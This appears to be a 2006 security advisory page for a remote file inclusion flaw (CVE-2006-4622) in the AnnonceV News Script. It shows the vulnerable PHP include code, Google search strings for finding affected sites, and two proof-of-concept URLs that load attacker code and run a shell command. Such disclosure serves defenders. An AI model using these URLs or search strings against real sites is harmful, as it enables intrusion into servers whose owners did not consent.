AnnonceV News Script Remote Command Vulnerability

2006.09.08

Credit: botan

Risk: High

Local: No

Remote: Yes

CVE: CVE-2006-4622

CWE: CWE-Other

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

* Kurdish Security Advisory

* Original Adv : http://kurdishsecurity.blogspot.com/2006/09/kurdish-security-26-annoncev
-news.html

* Script : AnnonceV

* Site : http://www.comscripts.com/scripts/php.annoncesv.1895.html

* Version : 1.1

* Risk : High

* Class : Remote

* Contact : botan (at) linuxmail (dot) org [email concealed] and irc.gigachat.net #kurdhack

* Nice crackerz sh00tz:milex,b3g0k,azad,fearless,darki,qawiste and other my friends

------------------------------------------------------------------------
-----------

Google w0rkez :P : "AnnonceV1.1"

: "/admin/annonce.php"

: "/annonce.php"

lol now code :]

$page=$_GET['page'];

if(substr($page, -3) == 'txt')//pour les news

{

include("newsdisplay.php");

}

else //pour toutes les autres pages

{

include($page.".php");

}

?>

http://www.site.com/annonce.php?page=yourcode.txt?&cmd=id

http://www.site.com/admin/annonce.php?page=yourcode.txt?&cmd=id

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

AnnonceV News Script Remote Command Vulnerability

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.